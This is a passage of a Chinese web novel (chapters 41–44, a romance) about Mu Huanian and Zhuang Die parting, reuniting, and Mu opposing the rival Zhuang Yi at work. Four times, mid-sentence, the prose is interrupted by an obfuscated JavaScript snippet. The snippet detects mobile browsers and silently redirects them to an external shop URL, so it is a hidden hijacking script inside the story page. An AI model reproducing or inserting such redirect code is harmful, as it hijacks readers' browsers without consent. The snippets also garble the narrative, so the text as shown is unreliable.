或许成年人的爱情总要直面现实的惨淡,但他希望这一天来得再晚一些。 “慕华年,你累吗?” 那天深夜,慕华年几乎睡着了,听见背对他的庄迭轻声问。 那是九月的秋天,万物凋零的季节,人就像落叶一样摇摇欲坠。 三天前,慕华年在视频里看到父亲桌上的鸡蛋,知道他做了手术,也得知了他心脏的问题。 心脏病是会遗传的,所以第二天他自己也去做了检查,结果不好不坏。 这些他都没告诉庄迭。 “还好,恒远的案子快结束了,国庆前后吧。结束就能休息几天了。” 慕华年的声音闷闷的,一张床上的两个人仿佛隔着银河。 “慕华年,你喜欢这份工作吗?” 谈不上喜不喜欢,但每月近两万的工资让他能负担家里所有开销,所以他至少要把这个项目做完。 他也没有告诉庄迭。 “还行。事情杂,但不难。前段时间我立了功,年终奖应该能多拿点。” 背后的人翻了个身,冰凉的指尖在他背上写字,可他看不懂。 “慕华年,你究竟爱过我吗?” 指尖停了。庄迭没等到回答,慕华年始终背对着他。 庄迭能看见眼前的肩膀在微微发抖。他不知道自己为什么会问出这句话,可就是问出口了。 “慕华年,我明天回荷兰,我想张叔了。” 一片死寂在那个问题后如多米诺骨牌般自动延展。不知过了多久,床的另一边轻了——庄迭起身离开了卧室。 第二天早上,餐桌上照例摆着早餐,门口放着庄迭收拾好的行李箱。 慕华年经过时头都不敢低,径直走进卫生间。 庄迭坐在餐桌前,看着他刷牙、洗脸、刮胡子。今天的慕华年没打理头发,柔软的刘海遮住了额头。 “我等会儿的飞机,不等你了。” “我送你。” 慕华年从卫生间出来,快速穿好衣服,给主管发了请假消息。对方问理由,他没回。 不需要理由。 出门时,庄迭叫的车已经等在小区门口。 “真不用送了,机场离你公司太远,你去上班吧。” 慕华年不说话,也不听话。他把行李箱放进后备箱,替庄迭拉开车门,自己从另一侧上了车。 也许那一刻,他预感到了什么,但不敢深想,于是忽略了之前所有的伏笔。 这条路很长,江城的交通又差,车辆在立交桥上排成长龙,四周喇叭声此起彼伏。 今天的司机也不知道为什么,始终没开广播或音乐,静默的空气在两人之间凝结。 他们都不知道为什么不说话,明明有很多话要说的。 “你好,还要多久?” 庄迭的飞机一小时后起飞,而他们被卡在高速上,进退两难。 “不好说啊,前面堵死了,估计还得半小时,”司机从后视镜看了眼后座,“急也没用,谁知道今天这么堵。” 平时一个半小时的路,他们走了快三个小时。 庄迭今天特意提前出发,可一切并不如他所愿。 “小伙子,看看能不能改签吧,我觉得你赶不上了。” 又过了二十分钟,江城的雨季开始发挥威力。车窗上的雨点噼里啪啦响个不停,挡风玻璃上的雨刷器兢兢业业却于事无补。 “再等等。” 庄迭握着手机,界面停在退票确认页面。 很快,一条短信进来:“很抱歉,您乘坐的航班因天气原因延误,起飞时间待定。” “庄迭,”慕华年突然开口,司机和庄迭都看向他。他声音嘶哑,依旧望着窗外,“今天雨好大。” 确实很大,乌云一片接一片压下来,像天破了个窟窿。 这是他们来江城后最大的一场雨,只是这场雨依旧没能阻止那架飞机的离开。 看着庄迭的背影消失在登机口,慕华年蹲了下去。手机跳出微信消息,他满怀期待地点开,发现是庄逸。 “今天这么重要的会你为什么不参加?” 慕华年没回。他怔怔望着落地窗外,那架蓝色飞机划破天际,在淅淅沥沥的雨中,离开了江城。 后来的三年里,慕华年有很多时间回忆。他每每想到自己那天的沉默,他就更恨自己一些。 他明明已经联系好了HR,辞职信就躺在草稿箱里。 他明明买好了两个人国庆去荷兰的机票,打算和庄迭一起回去祭拜张宪。 他明明攒够了一笔不算少的存款,订好了圣诞节去冰岛的行程。 可这一切,都在庄迭离开那晚戛然而止。 “请先添加对方好友。” 庄迭删了他,没有再给他开口的机会。 当那架蓝色飞机的起落架收起时,庄迭按下了删除键。 他原以为那年冬天冲动删掉慕华年会是最后一次。 飞机缓缓爬升,舷窗外的雨渐渐变小,江城的建筑慢慢后退,太阳出来了。 庄迭打开邮箱,里面是庄逸从半年前就开始的骚扰,他一封封删除。 庄迭早就知道庄逸是慕华年的老板了,比慕华年以为的还要早。 “他今天喷的香水是你的?挺俗的,让他换一瓶。这味道总让人想起那些靠身体上位的女人。” “你觉得这个角度怎么样?他的腰确实细。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111637|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他今天一个人敬了一桌酒,不过他还年轻,都是这样过来的。记得回去让他先洗澡。” 那些庄迭没看到的、慕华年没说的日夜,以另一种方式赤裸裸呈现在他面前。 照片上的慕华年喝到双眼通红,扶桌子的手青筋凸起。 照片上的慕华年在空无一人的办公楼彻夜工作,桌上的咖啡一杯接一杯。 照片上的慕华年强颜欢笑,端着酒杯的手始终低人一等。 这些挑衅的短信,这些偷拍的照片,庄逸最知道怎么往庄迭心上捅刀子。但同时,这些照片也让庄迭知道慕华年喝了多少酒,熬了多少夜。只要这个案子成了,慕华年就成了。 庄迭舍不得,所以他没有告诉慕华年这一切。 那一刻庄迭终于明白了慕华年的沉默,明白了他为什么没办法开口。而他也知道,慕华年做这一切都是为了什么。 这样的日子过了不知道多久,庄逸的话变了味。他不再只是刺激庄迭,话里话外多了些别的情绪。 “你别说,今天见了一面,人是挺帅的。” “他活确实不错,干净利落,直击痛点。” “今天有小姑娘问我要他微信,我说他喜欢男的,你猜她们什么表情?” 庄迭知道庄逸接近慕华年不是真喜欢,他只是想和自己争个输赢。 和慕华年在一起之前,庄迭身上是带刺的。庄逸怕他同归于尽,总会收敛些,可现在的他有了软肋。 庄迭不能再装作无所谓了,他在乎。 他一遍遍翻看那些照片,心里只有一个念头:庄逸会毁掉慕华年的,就像当年他害死自己养的那条小狗一样。 也是那一刻,庄迭心中升起无尽的悲哀。原来他六岁时做不到的事情,现在也做不到。二十三岁的他毫无长进,他还是没办法和庄逸,和他背后的庄家较量。 只要他们想,随时可以拿走他的一切。 从那天起,在庄迭的愤怒和心疼里,融进来了一丝动摇。他怕自己拖累了慕华年,他答应过叔叔阿姨,不会影响慕华年。 终于,在某一天,庄迭回复了第一条信息:“你好自为之。” 那天的照片上,慕华年喝得不省人事,双颊绯红,眉头紧锁,庄逸扯着他的衣领,吻在他的下颌。 庄逸很快回复: “你是怎么追上他的?花言巧语还是死缠烂打?还是像你妈那样爬到他的床上撒欢?” “你知道吗?慕华年是个不懂拒绝的人。骨子里的懦弱让他只会退让和被动接受。那如果再出现一个人,比你更疯,比你更直接,你说,他会离开你吗?” “对了,如果慕华年知道我和你的关系,他会不会为了你辞职?他现在是恒远并购的骨干,最多两年我就能让他做总监。庄迭,他为了你活得很辛苦,他原本不必这样的。” “庄迭,你不只是个错误,你还是个拖累。” 也是那一天,庄迭问出了“慕华年,你究竟爱过我吗”。 这个问题不需要答案,“爱”会让庄迭痛苦,“不爱”也会。 而慕华年回答他的是沉默。 那一刻庄迭得到了验证,他真的爱得很辛苦。 这一次,是庄迭选择了逃避。 于是这一切都结束了——这一切中,差点包括慕华年的命。 42. 第 42 章 那天的问题没有得到答案。 不过在回江城的飞机上,庄迭做了个很长的梦。梦里他回到了二十二岁,又看见推门而入时第一眼就看到的慕华年。 他知道,就是那一眼,自己已经喜欢上了这个人。 很俗的一见钟情,庄迭从前也不信。 他不明白爱情为何会突然降临,直到一个名叫慕华年的人坐了二十个小时飞机,从西北为他带来了漫天飞雪,给了他一个永昼的冬夜。 那一年的荷兰好像一直在下雪,在下庄迭最喜欢的雪。 只是后来雪迷了眼睛,让庄迭误将眼泪当作了融水。 慕华年转头看了眼身边的庄迭。他以为庄迭会直接回荷兰,可上了飞机,这人就站在他面前,笑着让他让让。 “真不是为了你,我有事情要做的。” 庄迭说这话时不像在撒谎,他也确实没撒谎。 难得见他上了飞机没睡觉,可能是经济舱座位太硬,庄迭时不时调整坐姿,抱着平板不停签字。 慕华年用余光瞥了他一眼,把外套脱下来拿在手里。庄迭看了看他,问:“热了?我把空调关掉。” 就在他起身关空调时,腰后被塞了件叠好的羽绒服。再坐回去时腰部有了支撑,庄迭愣了一下,低头笑笑:“谢了啊。”说完继续写写画画。 “怎么没去前面?” 这是慕华年上飞机后主动说的第一句话。庄迭右手夹着笔,头也不抬,“碰碰运气,看能不能和你坐一起。” 表明了心意后,庄迭少了心虚,多了几分虚张声势的脾气。这让慕华年产生了一种很久没有过的错觉,他们好像从来没分开过。 “你怎么知道我坐这个航班?” “我们之前绑定过关联航程。” 慕华年嘴角上扬,无奈地摇摇头。 “你好,”慕华年叫来空姐,“这班还能升舱吗?” “不用。”“可以。” 慕华年左右两边几乎同时回答。庄迭把平板放在膝盖上,直了直腰,“快到了,没必要。” “帮我和这位先生都办理升舱。” 这下庄迭没话说了。空姐笑着确认了慕华年的信息,带着两人往前走去。 庄迭转身拿起座椅上的羽绒服,慕华年伸手要接,他却抱在怀里,“我有点冷。” 慕华年随他抱着。没走两步,又感觉庄迭往前凑了凑,旁若无人地在他耳边说:“我以为你只升我一个。” “我现在付得起两张头等的钱。” 没来由地,庄迭突然有点心疼。 慕华年是个没什么物欲的人。衣服能穿就行,飞机能到目的地就行,酒店能睡觉就行。他一个人的时候活得简单,无欲无求。 那两张慕华年买给他的机票,庄迭一直留到现在,好好收在一个笔记本里。机票对他来说不算贵,可那任何一张都抵得上当时的慕华年半个月的生活费。 他们一起回到了那个小家。 “那你现在住哪?” 升舱后两人再没说话。慕华年要了眼罩睡觉,庄迭戴着耳机听会议记录。 现在站在楼下,慕华年停好车,帮庄迭拿下行李。庄迭站在一边看着,等他正要回驾驶座时突然开口。 路过的邻居认出了庄迭,笑着问:“终于回来了?” “嗯,不走了。” 慕华年把行李箱递给庄迭,正好听见这句话。 邻居阿姨五十多岁,正是喜欢找人扯闲篇的年纪。她手里牵着孙子,小孩吵着要去超市买零食。 “你乖一点。”阿姨拉了拉小孩的胳膊,小团子立刻嘟嘴要哭。庄迭笑着打开手提包,拿出一包大白兔,拆了一颗放在小孩手心,“吃了糖就不能哭咯。” 小孩牙还没长齐,笑起来漏风。庄迭越看越乐,把整包糖装进小孩的书包,又拿出块巧克力,这次先问了奶奶,“他能吃吗?” “他啥不能吃,嘴馋着呢。” 小孩接过庄迭的投喂,立刻认下了这个漂亮叔叔,撒开奶奶的手过去抱住庄迭的腿,嘴里还吧唧着糖,“叔叔好。” “现在知道问好了?”邻居阿姨抬手拍了一把自己的小孙子。 庄迭笑着想抱他,奈何手里拿着包和外套。 “给我。” 慕华年接过去。庄迭看见他弯下腰,歪头看着才到他膝盖的小朋友,“张天一小朋友,糖可以吃,但要好好刷牙。要是下次牙疼再哭,可就没糖吃了。” 小孩朝慕华年做鬼脸。庄迭搂了他一把抱起来,说:“还是个不听话的小朋友?” “听话呢。” 小团子声音软软的,不到三岁还口齿不清,加上牙齿粘着奶糖,一张嘴就是扑鼻的奶香。 “对了小庄,你第一次见天一是吧?你走的时候他还在他妈肚子里呢。” 邻居阿姨没注意到庄迭脸色稍变,自顾自说:“你这次出差时间也太长了,我算着有三年?” 出差。庄迭垂下眼睛,笑了笑:“是,公司外派雅加达,三年才能回来。” 慕华年看了庄迭一眼,转头看向别处。 “没事,小别胜新婚。” 邻居阿姨有一对儿女,女儿年纪轻轻出国后就留在西班牙了,现在和女友领养了个小女孩。所以她见到两人住进来时就猜到了些。说完她从庄迭手里接过孩子,“跟叔叔说再见。” “叔叔再见。” 庄迭笑着挥手,直到奶奶抱着孩子拐过弯看不见了才回头。他重新拉过行李箱,问:“你们挺熟的?” “他爸妈前段时间去新加坡了,小孩留给奶奶带。有天半夜哭得厉害,我下楼看见他们在打车,就开车送他们去医院了。” “怎么了?”庄迭一边走一边问,慕华年跟在他后面。 “没什么大事,就是糖吃多了牙发炎,奶奶没在意,结果后半夜发烧了。挂了水,第二天就好了。” 庄迭点了点头,“房子老了,隔音不太好。” 慕华年侧头看他,“那天刚好没睡而已。” 庄迭的话停在他们站在门口的瞬间。他没继续问,慕华年也没再说。两人同时想起了那个被打断的问题。 “进去吗?” 现在是晚上七点,虽说入春了,但江城的白天还是很短,这会儿外面天黑得彻底。 庄迭输入慕华年的生日,门锁“嗒”地弹开。 “不了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111638|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早点休息。” “那你睡哪儿?酒店?还是回那个样板间?家具都拆了也回不去了吧?你就没想过我会赖着不走,是吗?” 庄迭一口气问了一堆问题,说完才觉得自己太咄咄逼人。他笑了笑,拎着箱子进去换鞋,但包和衣服没拿回来。 慕华年一个问题都没回。他走进去,屋里的一切都和他离开时一样。他从没想过这辈子还会回到这里。 “怎么,换我带你参观一下?还是说换种方式?” 那晚的方式吗?慕华年神色如常,找到自己的拖鞋换上,把庄迭的东西收拾好放进主卧,看见庄迭独自在厨房忙活。 “饿了?” “有点,我下点面,你吃吗?” 慕华年看着台面上的食材,大概猜得出他想做什么,鬼使神差地“嗯”了一声。 庄迭没想到他会答应,咧嘴一笑,从慕华年身边绕过去打开冰箱,“这次不会酸的,我少放点醋。” 说完,他又从自己的话里品出别的意思,笑着补充:“我以后少吃醋,能不吃就不吃。” “吃醋有益健康。” 慕华年丢下这句就离开了厨房。随后传来开门声,庄迭没回头,不一会儿是行李箱滑动的声音,接着慕华年进了客卧。 矫情。庄迭又想到这个词,他什么没见过。 二十分钟后,慕华年从浴室出来,庄迭把面端上桌。 这饭吃得沉默,除了筷子的碰撞声和慕华年一开始说的“很好吃”,再没人说话。 “我洗,”慕华年接过碗筷,“你去洗澡。” 庄迭也不推辞,他等会儿还有个会要开。 “我找好房子前在这住几天,我尽快搬走。” “慕华年,我发现你这人特没意思。” 庄迭抱着睡衣和浴巾,衬衫领口解了一半,餐台的灯光打下来,他精致得像橱窗里的娃娃。 慕华年在玻璃上看见庄迭的影子,没回头,只应了声“是”。 庄迭一言不发去了浴室。慕华年等水声响起才从厨房出来,拿着手机找到之前一个做房产的客户,犹豫片刻还是没点开那个头像。 他不想在这个城市有另一个家,哪怕只是个房子也不想。 之后的日子一如往常。两人总是前后脚回家,慕华年从不过问庄送在忙什么,庄迭总在慕华年进门时端上一碗热饭。 他的手艺确实突飞猛进,从海鲜粥到油泼面,好像没什么不会做的。但他不再和慕华年一起吃饭——慕华年坐在餐桌边时,庄迭大多在书桌旁敲电脑。 书房的灯光打在他的侧脸,键盘声会一直持续到晚上十一点。那时候慕华年会进去给他递杯牛奶,不劝他早睡,只是默默回客卧。 他们之间还是隔着点什么的,慕华年心里很清楚。他不能心安理得地爬上庄迭的床,他不允许自己这么做。 但他也没睡着。慕华年靠着床头,翻看唐沉发来的日程安排,隐约能听见书房里庄迭在小声和人打电话,这让他想起旅行中那次会议,他觉得庄迭这次回来还带着别的目的。 只是他不问,庄迭也不会主动说。就像他们之间的许多问题一样,他们依旧是模糊不清的关系。 43. 第 43 章 “关于望京科技的合作议案,各位还有补充意见吗?对方已经把意向书发到总部了。” 慕华年年前突然休假,这个合作案就一直搁置着。他刚回来上班,对方就收到消息,立刻联系了TOTT总部。 今早他出门时庄迭已经走了,桌上放着泡好的麦片,旁边还贴了张便利贴:“用微波炉热一下再吃。晚上我不回来吃饭。” 慕华年看着那个精致的小碗,不知怎么想的,居然找了个盖子把它带到了公司。 “慕,这个项目一直是你负责跟进,相关手续都审核过了吧?”分区总裁Nina孙潇等了几秒没人说话,直接点了慕华年的名。 因为是和总部开电话会议,慕华年这边摄像头关着。他戴着单边耳机,手里端着刚热好的麦片,随手抽了张纸垫在桌上:“手续齐全,但我个人不建议合作。” 那天在庄均存的葬礼上,看到庄逸的第一眼,慕华年就起了疑心。后来再回想那份背调报告里的条款,一切都说得通了。 当初庄逸突然抛售寰方股份,在市场上引起不小震动。慕华年猜过他另有所图,只是没想到对方还想用自己这颗棋子。 从那之后,他就开始深入调查望京科技,从注册流程到人员配置。他不得不佩服庄逸的胆识,却又对其一成不变的手段感到可笑。 终究还是太年轻。 慕华年这话说得直白,耳机里传来几声轻笑,但他并不在意,他现在这话已经算客气的了。 慕华年拿着勺子,安然在办公室里享用早餐。唐沉进来送文件时愣了一下,实在想不通这个粉色玻璃碗怎么会出现在自己老板手上。 “对方公司高层存在道德风险,经营手段不干净。产品再好也容易爆雷。现在一个负面新闻动辄让股价蒸发百亿,我们没必要冒这个风险。”他顿了顿又说。 经济不景气,大家都爱盯着名人的花边新闻。什么法人变更、隐婚出轨,这类丑闻一旦曝光,要么等待时间冲淡,要么发律师函虚张声势。慕华年都记不清为多少人擦过屁股了,他觉得自己不像法务,倒更像公关。 这次如果是不熟悉的对象也就罢了,偏偏是庄氏,是庄逸,他这些年没少在他身上花心思。 “但对方公司背靠庄氏集团,你评估过整体风险吗?”有人提出质疑。 慕华年头也不抬,继续吃早餐:“你是觉得庄逸还有人兜底?” 这话一出,耳机里瞬间安静了。在场谁不知道三年前慕华年和庄逸那场闹得沸沸扬扬的纠纷。 慕华年也不在乎别人知不知道。他顿了顿解释道:“望京科技是庄逸毕业后的第一个创业项目。为此他卖掉了父亲留给他的公司,将所有资产套现,这是孤注一掷。而这一切都发生在他父亲去世、姐姐正式接管庄氏之后。” “如果各位还不明白,回忆一下高中历史书里的故事。” “话不能这么说,”屏幕上弹出一个发言提示,慕华年抬头看到一张风景头像,“庄遥对她这个弟弟宝贝得很,庄逸要什么给什么,毕竟是一个妈生的。” “那怎么没把继承人的位置也给他?是庄逸不想要吗?” 慕华年听出对方话里话外在影射庄迭。他正吃着当事人给他做的早餐,没忍住怼了回去。 对面立刻闭嘴了。慕华年打开手机给庄迭发了句“谢谢”,犹豫了一下又补了句“再忙也要记得吃饭”。 “慕,你不能带个人情绪。” 这次慕华年看清发言人了,是总部空降的市场总监Mike。 “我?没有。”慕华年笑了一声,“当年我找不到工作,是庄逸拉了我一把,我很感激他。” 慕华年起身去洗手间把碗洗干净,也不收起来,就放在水杯旁边,只要来人就能看见。 “跟着他那一年,我确实学到了不少东西。” 比如怎么把他的简历贴进行业黑名单,让他在回国后处处碰壁,然后再扮演救世主;又比如怎么用春秋笔法把他的成果据为己有,让他赔了夫人又折兵;再比如怎么气急败坏地恶意诋毁,差点又把他封杀在江城圈子里。 庄迭离开的这三年,慕华年有的是时间把这些事查个水落石出。 “行,”见无人接话,慕华年继续道,“那我说点专业的。” “我们寻求合作是为了获得NTN和ADAI技术。对方公司虽然申请了相关专利,但调查显示其技术依赖外部授权。如果他们与SEP方谈判破裂,我们也要承担连带侵权责任。届时即便主张FRAND原则,也会因侵权在先而处于被动。” “那我们为什么不直接和SEP方合作?” 慕华年笑了,说:“我们和他们上过同一个法庭,就坐在对面。如果直接找他们,成本大概是现在的一倍。Mike总监能批下这笔预算吗?”说完他瞥了眼孙潇的头像,对方自点了他的名后再没出声。 “那解决方案呢?”Mike不甘示弱地追问。他来亚太区前就听说过慕华年。毕竟当年还是人力总监的孙潇力排众议,亲手把他从行业黑名单里捞了出来。 “技术替换。” 慕华年说完停顿了一下,技术研发部的方礼立刻接话,“我们现有的基础系统已经能完美适配V2X和异构加速感知算法,可以考虑往这个方向发力。” “有合适的合作对象吗?”一直沉默的孙潇突然开口。 “SP。”方礼回答的同时同步了一份调查报告,“SP是校企合作的新公司,今年年初刚成立,主营业务就是无人驾驶。” “新公司?那他们为什么还要和我们合作?”Mike又开始发难。 慕华年皱起眉头,“现在的情况是我们在寻找技术合作方。能否达成合作,不正是考验我们业务能力的时候吗?” 会议结束。唐沉进来时看见慕华年脸色不太好,但盯着那个小玻璃碗时眼神又柔和了些。 “慕总,孙总让您去她办公室一趟。” “Mike也在?” 唐沉点点头,关上门小声说:“办公室里气氛不太对,您小心些。” “长大了,会察言观色了。”慕华年起身整理衬衫领口,将早上剩的半杯咖啡一饮而尽,“不好就不好呗,谁让他一早上没说出来一句有用的。” 慕华年走上十三楼,敲开门看见Mike背对着门口坐着。他主动走过去打招呼,“早。” “早啊,慕。” “叫方礼一起上来吧。”慕华年在Mike对面坐下,面带微笑看着他。 “不必麻烦Jeffrey了,”Mike翻开桌上的调查报告,“慕总监对技术术语很了解?不如你给我讲解一下?” 慕华年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111639|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在荷兰待过一年,见识过某些人自以为是的种族优越感,但Mike每次都能刷新他的认知。他轻嗤一声:“可以,你想听什么?” Mike专挑调查报告里没有的专业术语刁难,慕华年对答如流,甚至贴心地补充了他问题中的盲区。 “慕,你本科是学车辆工程的?” “不是,本硕都是法律,本科严格来说是知识产权方向。” “哦,没想到你对技术领域这么熟悉。”Mike笑了笑,若无其事地拿起水杯。 慕华年和孙潇对视一眼,不约而同地别开脸。 “不过你和方总监是怎么选中这家公司的?” “因为性价比高,”慕华年毫不掩饰,听到Mike的轻笑后继续说,“但要抓紧时间,对方正在洽谈一轮融资。” “新公司这么快就能融资?” “我们能看上的,别人自然也能看上。况且学生团队更好沟通,做他们的天使投资人能被记一辈子。” 就像慕华年现在的东家,当年就是给了庄迭一千万的Terry。后来庄迭的MobileLine在一次重要竞标中主动弃标,把机会直接让给了TOTT。 “那我们有多大把握能谈成?” “我们是寻求合作,不是恶意收购。敌意小一点,诚意大一点。” Mike今天在慕华年这里碰了太多钉子。平日这个不到三十岁的年轻人就自带锋芒,今天每句话都像钝刀子割肉。 任谁都看得出他心情不佳。 “那你和方礼继续推进吧。”孙潇开口结束对话。她走到Mike面前,明显是在下逐客令,“还要麻烦Mike总监转告小庄总,我们需要时间重新评估。” Mike拿着水杯的手顿了顿,“我会做好我分内的事。” Mike离开后,办公室安静下来。慕华年让唐沉安排与SP负责人的会面,然后坐回原位。孙潇则让助理收走了那个烦人的杯子。 “不是我偏见,白男都这么惹人厌吗?” 孙潇自己就是美国留学回来的,慕华年当然明白她的特指。他笑了笑没有接话。 “对了,我听说庄逸故技重施,派人去你家,结果你金屋藏娇?”孙潇站在窗边转头看他,“他还真行,人没送到你床上,谣言倒是照传不误。” “倒也不算谣言。” “嗯?细说。”孙潇来了兴致。虽然她早过了热衷八卦的年纪,但慕华年的感情生活向来是公司未解之谜。 “能不能别这么关心我的私生活?” 孙潇白了慕华年一眼,“这不是你勾起来的吗?” “我只是实话实说,不想骗你而已。” “得,那我谢谢您的坦诚。” 慕华年笑了笑,感觉口袋里的手机震动。他打开看到庄迭回了个“好”,还附了张午餐照片。 那碗饭看着挺眼熟。慕华年关掉手机,不自觉地扬起嘴角,抬头时看见孙潇意味深长的眼神。 “你最近很不对劲。年前开会就心不在焉,过年说休假就休假,年后又手机不离身。这很不像你。” “希望你十年后别这么审问你儿子。” “那不能,我儿子肯定比你听话。” “不过,”孙潇话锋一转,语气突然认真,“都三年了,还给人守着呢?” 44. 第 44 章 那一年,庄迭离开了江城。 同年,恒远科技园被庄逸收购,庄氏集团股价接连涨停。二十岁的庄逸还没大学毕业,却凭这笔交易提前接手了庄均存许诺给他的公司。 那场盛大庆功宴上觥筹交错,慕华年站在庄逸身边,看着他与庄均存谈笑风生。 “孙总,”庄逸转头看见孙潇,和庄均存低语几句后热情地迎上前,“没想到您能来。” “小庄总年少有为,这案子办得漂亮。” 孙潇说完,向庄逸身后的慕华年点头致意。后者脸上挂着礼貌的微笑,看了她一眼便低下头。 “认识一下,”孙潇绕过庄逸,向慕华年伸出手,“TOTT孙潇” “慕华年。” 孙潇当然知道他叫慕华年,他们前几天刚见过。 TOTT作为老牌车企,在科技浪潮下不得不面临转型。孙潇作为人力总监,肩负着总部派下的重任:挖掘各类人才,重整国内市场。 如果她做成了,她就是分区总裁。 慕华年原本不在她的名单上。 一个刚毕业的年轻人,本不该引起她的注意。她最初的目标是恒远科技园的总工程师方礼。 “方总,恒远要被收购了。” 孙潇和方礼约在科技园的咖啡厅,气氛有些微妙。这位典型的理工男捧着一杯无糖拿铁,始终不敢直视她。 “再等等。” 听完孙潇的热情邀请,方礼只回了这一句。 十天后,庄逸的寰方科技以极低价击败原收购方。孙潇再次找到方礼,一进厂区就看见慕华年正和方礼对着一张图纸争论不休。 “我是专业学这个的。” “但我见过这台机器。” 方礼眼睛一亮,“你在荷兰留学?你去过TUD?” “对。” 慕华年没有多说,拿出手机翻相册,前半段翻得很快,越往后动作越慢。 方礼在屏幕上反复看到一个笑容灿烂的男生。 “是你朋友吗?” “不是,是爱人。” 方礼看了慕华年一眼,惊讶于他的直白,同时想起了另一个人。 “是这个吗?” 慕华年递过手机,方礼立刻点头,“对!你能帮我要到这台机器的参数吗?” 慕华年下意识找到庄迭的联系方式,点进去却看到“请先添加对方为好友”,方礼默契地转过头。 “你急着要吗?”慕华年声音有些发颤。 方礼再迟钝也察觉到了异样,摇摇头:“不急。反正换老板了,项目不一定还能继续。” “怎么不能继续?”孙潇笑着走近,“来TOTT,我们让你继续做,还能送你去TUD访问学习。” “真的?” 之前孙潇开出双倍年薪、江城户口都没打动方礼,没想到一句“访问学习”让他动摇了。 “可以的话我先帮你申请,你先去学习,回来再入职。” 方礼犹豫了一下,回头看了眼这个他从毕业就工作的地方。四年的青春,因老东家经营不善画上句号。 “我签。” 方礼接过那叠厚厚的合同,面露诧异。孙潇连忙解释:“你是技术人员嘛,规则越清晰,保护越有利。” “介意我帮你看看吗?” 慕华年突然开口,方礼立刻像送瘟神一样把合同交了出去。 “哎,这不合适吧。”孙潇按住慕华年的手,对方立刻抽回。 孙潇虽说不是有意的,但确实听到了刚才那句“爱人”。她微微一笑,拽住合同一角,说:“毕竟是内部合同,你们没有代理关系,不方便。” “那我现在授权他可以吗?”方礼问。 “你这么信任他?” 方礼这人只认技术,孙潇前前后后找了七八回都没说动。没想到刚才还在争论的两人,转眼成了盟友。 方礼把合同重新拿过来,双手递给慕华年,“帮我看看,行吗?” “你确定?”慕华年接过合同却没翻开,“她说得对,刚才是我唐突了。” “我信你。” 至于为什么信,可能因为方礼当初并没有回应属于他的那句“是爱人”。 慕华年坐在台阶上审合同,孙潇拉方礼走到一边,“你们很熟吗?” “算是朋友,吃过两次饭。不过他很厉害,是寰方的法务,就发现我们脚下有国防电缆的那个。” 孙潇眼睛一亮,又看了眼不远处的年轻人。 看到恒远出售的新闻后,孙潇第一时间打听内幕,但除了报道上的寥寥数语,什么都问不出来。 后来几经辗转才听到点风声,说是寰方和军方达成了《军民融合基础设施协同维护框架协议》。她让公司法务去查这个协议的效力,发现比名字更唬人。 “能想到这办法的简直是天才,”当时的TOTT法务总监乔羽把协议反复看了三遍,“你知道这意味着什么吗?法定协同维护方,军民融合重点保障单位,就这两个名头,寰方算是住进军区大院了,外面守着的可都是真枪实弹。” 孙潇又看了眼手上的协议复印件,乔羽凑过来问:“哪儿找的人才?请进来做我的接班人。” 孙潇笑了笑没说话,没想到得来全不费功夫。 “你好,重新认识一下,我是TOTT的孙潇。” TOTT,有点耳熟。慕华年没多想,把合同还给方礼,翻到第七、十三和四十四页,说:“这三处改一下,竞业协议限制不合理。你们干脆把他关起来算了。” 孙潇讪笑道:“毕竟是人才嘛。”但还是同意了慕华年的意见,立刻让法务出了新合同。 “小慕,”孙潇给助理发完微信,悄声走到慕华年身边,“你是怎么想到军民合作这招的?” 慕华年看了眼孙潇,又看向方礼,后者连忙摆手,“我就说你发现了电缆!其他什么也没说!” 慕华年没深究,转而回答孙潇,“先利后策。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111640|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “恒远隐瞒这条电缆,因为他们知道维护费用高昂。当初贪便宜从政府手里买地,现在就得受着。我们可以借此压低收购价。” “同时这条电缆上不了注册簿,存在严重权利瑕疵。寰方做技术的,不涉及地下空间,大可以和军方共用设施,其他产业却做不到。虽然不能公开电缆的存在,但可以暗示。” 